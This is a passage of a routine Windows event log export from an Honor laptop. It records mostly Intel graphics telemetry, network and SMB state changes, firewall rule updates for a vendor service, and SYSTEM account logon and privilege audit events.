logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:50.219\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:50.371\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:50.534\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:50.640\t4004\t\"Network State Change Fired\n\tNew Internet Connection Profile: false\n\tConnection Cost Changed: false\n\tDomain Connectivity Level Changed: false\n\tNetwork Connectivity Level Changed: false\n\tHost Name Changed: true\n\tWwan Registration State Changed: false\n\tTethering Operational State Changed: false\n\tTethering Client Count Changed: false\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:30:50.650\t1024\tInternet connection status changed to true, submitting pending workitems: count = 0.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:50.699\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:50.965\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:51.134\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:51.303\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:51.463\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:51.627\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:51.783\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:51.946\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:52.202\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:52.368\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:52.549\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:52.708\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:52.870\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.028\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.185\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.348\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.514\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.675\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.826\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.992\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:54.150\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:54.320\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:54.484\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:54.657\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:54.821\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:54.991\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:55.148\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:55.415\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:55.587\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:55.745\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:55.914\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:56.074\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:56.229\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:56.319\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438* 10\nInterfaceIndex: 0xA\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:30:56.319\t1040\tReceived Mib notification type MibAddInstance for interface 10\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:30:56.319\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 10. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:30:56.405\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:56.573\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:56.865\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:57.035\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:57.297\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:57.457\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:57.615\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:57.782\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:57.948\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:58.115\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:58.140\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:58.144\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:58.144\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:58.279\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:58.428\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:58.589\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:58.750\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:58.940\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:59.207\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:59.370\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:59.540\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:59.701\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:59.857\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:00.026\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:00.179\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:00.354\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:00.519\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:00.685\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:00.953\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:01.108\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:01.274\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:01.328\t4004\t\"Network State Change Fired\n\tNew Internet Connection Profile: false\n\tConnection Cost Changed: false\n\tDomain Connectivity Level Changed: false\n\tNetwork Connectivity Level Changed: false\n\tHost Name Changed: true\n\tWwan Registration State Changed: false\n\tTethering Operational State Changed: false\n\tTethering Client Count Changed: false\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:31:01.338\t1024\tInternet connection status changed to true, submitting pending workitems: count = 0.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:01.435\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:01.486\t0\tService stopped.\tInformation\tApplication\tedgeupdate\n05.09.2026 08:31:01.706\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:01.973\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:02.128\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:02.285\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:02.449\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:02.624\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:02.798\t900\t\"The Software Protection service is starting.\nParameters:\"\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:31:02.847\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:02.859\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{48A1CEBF-3174-4FFD-BA33-4EFACDCDBCCC}\n\tRule Name:\tTrustCircleService\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:02.860\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:31:02.864\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{DF062EC5-5CFA-4F0B-AC28-423B1669F4E1}\n\tRule Name:\tTrustCircleService\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnTrustCircleService.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:02.865\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{DF062EC5-5CFA-4F0B-AC28-423B1669F4E1}\n\tRule Name:\tTrustCircleService\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnTrustCircleService.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:02.931\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:02.931\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity 